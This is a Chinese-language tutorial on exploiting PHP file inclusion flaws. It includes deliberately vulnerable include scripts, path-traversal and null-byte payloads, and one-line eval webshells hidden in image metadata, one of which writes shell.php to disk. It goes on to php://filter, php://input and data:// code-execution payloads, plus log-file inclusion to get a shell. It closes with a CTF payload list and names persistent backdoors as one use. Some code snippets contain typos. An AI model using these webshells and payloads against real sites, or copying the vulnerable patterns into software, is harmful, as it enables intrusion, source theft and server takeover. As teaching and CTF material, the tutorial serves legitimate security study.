目录
*第四种利用方法--- PHP 封装协议的使用--访问本地文件
*第五种利用方法---PHP 封装协议的使用--传输PHP 文件
*第六种利用方法---利用PHP 封装协议--执行PHP 命令
文件包含
文件包含漏洞
比如要写一个留言板:
留言 连接数据库
查看留言 连接数据库
登录 连接数据库
注册 连接数据库
连接数据库这部分代码重复,代码冗余
解决:连接数据库这部分语句 放在单独的文件中去
如果留言中想要用连接数据库,只需要提供一句话把我们这个单独文件的代码包含在留言这个页面
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。
程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。
几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application 中居多,在JSP/ASP/ASP.net程序中比较少。本课程以PHP 为例,说明文件包含漏洞。
漏洞产生的原因
1. Web 应用实现了动态包含
2. 动态包含的文件路径参数,客户端可控
如果存在文件包含漏洞,我们的防御措施基本等于失效!
客户端可控:
<?php
$path=$_GET['path'];
include_once("./inc.php");
echo "<h1>This is include.php!</h1>";
include_once $path;
?>
PHP中的文件包含
*语句
PHP 中提供了四个文件包含的函数,四个函数之间略有区别
函数 | 区别 |
include() | 文件包含失败,会产生警告,脚本会继续执行 |
include_once() | 与include() 功能相同,文件只会被包含一次 |
require() | 文件包含失败时,会产生错误,直接结束脚本执行 |
require_once() | 与require() 功能相同 ,文件只会被包含一次 |
测试:
在win2k8中的phpstudy根目录下创建include文件夹,里面写一个文件inc.php
<?php
echo "This is inc.php!";
?>
在浏览器中成功输出
再在同目录下创建include.php
<?php
echo "<h1>This is include.php!</h1>";
?>
现在就可以通过文件包含操作在include.php文件中包含inc.php文件的内容
<?php
include("./inc.php"); //写法1
echo "<h1>This is include.php!</h1>";
include "./inc.php"; //写法2
?>如果用include_once() 该函数与include() 功能相同,但只包含一次
无论include_once()这条语句写了多少次,我们文件仅包含一次
<?php
require("./inc.php"); //写法1
echo "<h1>This is include.php!</h1>";
require "./inc.php"; //写法2
?>
我们程序开发人员都希望代码更加灵活,所以通常会把被包含的文件,设置为变量,来进行动态调用。
<?php
$path="./inc.php";
include_once("./inc.php");
echo "<h1>This is include.php!</h1>";
include_once $path;
?>
* PHP文件包含的相关配置
文件包含是PHP 的基本功能之一,有本地文件包含和远程文件包含之分(虽然php 官网上不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含(包括HTTP,FTP,PHP的伪协议)就是可以远程加载文件。我们可以通过php.ini 来进行配置。如下
allow_url_fopen=On/Off 本地文件包含的开关(LFI:local file inclusion)【不管这个开关是开还是关,都可以本地文件包含】
allow_url_include=On/Off 远程文件包含(RFI)【如果为off,我们是不能通过php伪协议去加载文件,如果为on就可以】JavaScript伪协议就是javascript:
PHP伪协议就是php:// 等后面讲漏洞利用的时候再讲
文件包含示例
我们可以通过以下简单代码来测试文件包含漏洞。准备一个fileinclude.php文件
实例1:
<?php
if(isset($_GET['path'])){
include $_GET['path'];
}else{
echo "?path=info.php";
}
?>
该文件会从GET方法获取path变量,也就是文件包含路径,然后包含此文件。创建一个info.php,这个包含文件的内容为phpinfo()
-----------
实例2:
<?php
$path=$GET_['path'];
include_once("./inc.php");
echo "<h1>This is inlcude_once.php!</h1>";
include_once $path;
?>
----------
*本地文件包含(LFI)
本地文件包含就是我们通过相对路径的方式找到文件,然后包含之。
访问的URL为 [http://localhost/include/include_once.php?path=info.php] 这个路径是相对路径
*远程文件包含(RFI)
远程文件包含就是我们可以通过http(s)或者ftp 等方式,远程加载文件。
访问的连接:http://localhost/include/include_once.php?path=http://172.16.132.161/include/info.php
我们要确定一下那两个选项是否存在
再演示一下用ftp协议的方式去访问
在URL地址栏输入ftp://user1901:123.com@10.0.105.223
再访问:http://localhost/include/include_once.php?path=ftp://user1901:123.com@10.0.105.223/info.php
漏洞原理及特点
*漏洞原理
PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似以上测试代码的设计,实现动态包含,就会有文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的净化,客户端可以影响或控制文件包含的路径,就会产生文件包含漏洞。
* 特点
PHP 提供的文件包含功能非常强大,有以下特点
@ 无视文件扩展名读取文件
包含文件时,PHP 会读取文件的源码,包括图片文件。尝试包含图片,连接为
[http://172.16.132.138/fileInclude/fileinclude.php?path=smile.jpg]
我们发现打开图片不是图像,而是图片的源码。
测试:我们在phpstudy的根目录下
右键属性---详细信息---版权<?php phpinfo();?>
利用无视文件扩展名读取文件的特点:
发现phpinfo()执行了
@ 无条件解析PHP 代码
文件包含在读取文件源码的同时,如果遇到符合PHP 语法规范的代码,就会无条件执行。例如,将info.php 的后缀名改成info.rar,依然能够显示phpinfo() 信息。
这同时,也为图片木马提供了一种利用方法。
面试题:图片木马有几种利用途径
1、利用解析漏洞
2、利用.htaccess攻击
3、利用文件包含
空字符安全绕过
空字符安全限制绕过,是PHP小于5.3.4 版本的一个漏洞,CVE 编号是CVE-2006-7243。这个漏洞就是PHP 接收来自于路径名中的空(Null) 字符,这可能允许依赖于上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是我们之间讲过的00 截断。00 截断攻击也会体现在文件包含中。
Web 应用在设计时候,经常会包含模板文件,简单程序如下
<?php
if(isset($_GET['path'])){
include $_GET['path'].".html"; //自动加了一个.html
}else{
echo "?path=[path]";
}
?>
这个简单的代码限制了被包含的文件的后缀名是html
[http://localhost/include/00/?path=info]
此处我们通过00 截断来包含任意文件,比如同级目录下的inc.php 文件。提交变量
[http:localhost/incldue/00/?path=info.php%00]
注意:要想本实验成功需要关闭魔术引号(我们测试的是PHP5.2.17,所以在这里面找php.ini)
magic_quotes_gpc=Off这个魔术引号就会在我们空字节、单引号、双引号后面自动添加一个右斜线,就是自动给我们转义
但是高版本中,我们已经把这个转义符号删掉了
文件包含漏洞的利用
第一种利用方法:读取敏感文件
我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件
读取敏感文件的两个条件:
@ 目标主机文件存在(目标文件的路径,绝对路径,相对路径)
@ 具有文件可读权限
举例:读取本地hosts 的文件。
提交参数:
方法1:?path=c:\windows\System32\drivers\etc\hosts(绝对路径)
方法2:?path=..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts(我们多写几个../是为了直接到根目录)
利用..\..\..\..\..\..\..\..\..\这种方式去访问别的盘符行不行?
那你为啥不用绝对路径呢?
我们上一级上一级....这种方法对linux来讲,就是从根开始(多写几个上一级文件夹)
我们这个脚本在哪个盘下,我们上一级目录上一级目录多写几个就是在当前盘符下
第二种利用方法:直接包含图片木马
我们在timg_.jpg的版权中写入一句话木马:<?php @eval($REQUEST[777]);?>,放到脚本的同一级目录下
访问:
可以利用文件包含漏洞直接包含图片木马。直接包含图片木马
[?path=./timg_.jpg]
使用菜刀连接之。
为什么能包含图片木马呢?
因为我们这个图片木马中的PHP代码能够执行,但是有时候我们直接包含图片这个操作不是非常方便
所以我们就可以在图片木马中写入这样一段PHP代码:
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
这段PHP代码含义:
在当前目录下创建一个文件shell.php,然后将我们一句话木马的内容写入shell.php
当我们包含一个图片的时候就会直接执行这段PHP代码
第三种利用方法:包含木马写shell
我们也可以将如下代码写入到图片中,
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
该段代码的含义是,在当前目录下创建一个名为[shell.php] 的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。
演示:
我们将上面的PHP代码写到timg_fputs.jpg的版权中
包含一下:
这时候,发现生成了一个shell.php,进去,再用菜刀连接一下。
*第四种利用方法--- PHP 封装协议的使用--访问本地文件
我们这个PHP封装协议的使用,要求开启allow_url_include这个远程文件包含这个选项
我们可以使用php 的file 协议访问本地系统文件,提交参数
[?path=file://c:\windows\System32\drivers\etc\hosts]。
file://就是访问本地文件
*第五种利用方法---PHP 封装协议的使用--传输PHP 文件
可以使用以下参数来传送任意PHP 文件。
?path=php://filter/read=convert.base64-encode/resource=inc.php
然后把得到的所有字符串base64 解码即可。
php://是PHP的伪协议
filter就是过滤
read是一个动作,怎么读呢?
convert.base64:对我们要读的文件进行base64编码
resource=是一个文件的名字
通过这种方法就可以获取网站源代码
*第六种利用方法---利用PHP 封装协议--执行PHP 命令
我们还可以利用PHP 的封装协议来执行PHP 命令
php://input
注:后面两个必须要在开启远程文件上传配置的情况下
如果一个网站如果存在远程文件包含漏洞,怎么利用?直接架一个站点直接包含就完了
如果一个网站只存在本地文件漏洞呢?上传一个图片木马,然后包含一下就getshell了我们远程文件包含,默认都是关闭的,所以这个这两种方法都利用不了
这两个方法有两个用途:1、打CTF;2、持久控制的PHP后门设想一下:
! 已知一个网站只存在本地文件包含漏洞,并且没有文件上传API,如何利用?
方法1. 包含本地日志文件getShell[?path=c:\phpstudy\apache\log\error.log]
用蚁剑连接
日志文件的路径?
1. 常识
2. 爆破
方法2. 包含session 文件,造成sessionId 泄露
! metinfo5.0.4 文件包含漏洞代码审计
拓展+总结:CTF中常用的伪协议
file://#
作用:
用于访问文件(绝对路径、相对路径、网络路径)
示例:
http://www.xx.com?file=file:///etc/passswd
php://#
作用:
访问输入输出流
1. php://filter
作用:
读取源代码并进行base64编码输出
示例:
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
2. php://input
作用:
执行POST数据中的php代码
示例:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:
<?php phpinfo()?>
注意:
enctype="multipart/form-data"
的时候php://input
是无效的
data://#
作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到
base64编码
传输
示例:
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
最后补充几个关于伪协议常用的payload,包括读文件和php代码执行
1.?file=data:text/plain,<?php phpinfo()>
2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
3.?file=php://input [POST DATA:]
4.?file=php://filter/read=convert.base64-encode/resource=xxx.php
Data URI scheme 的语法
在上面的 Data URI scheme 中:
data 表示取得数据的协定名称;
image/png 是数据类型名称;
base64 是数据的编码方法,逗号后面就是这个image/png文件base64编码后的数据。
目前,Data URI scheme支持的类型有:
data: 文本数据
data: text/plain, ------- 文本数据
data: text/html, -------- HTML代码
data: text/html;base64, -------- base64编码的HTML代码
data: text/css, ---------- CSS代码
data: text/css;base64, ---------- base64编码的CSS代码
data: text/javascript, ------------ Javascript代码
data: text/javascript;base64, --------- base64编码的Javascript代码
data: image/gif;base64, ---------------- base64编码的gif图片数据
data: image/png;base64, -------------- base64编码的png图片数据
data: image/jpeg;base64, ------------- base64编码的jpeg图片数据
data: image/x-icon;base64, ---------- base64编码的icon图片数据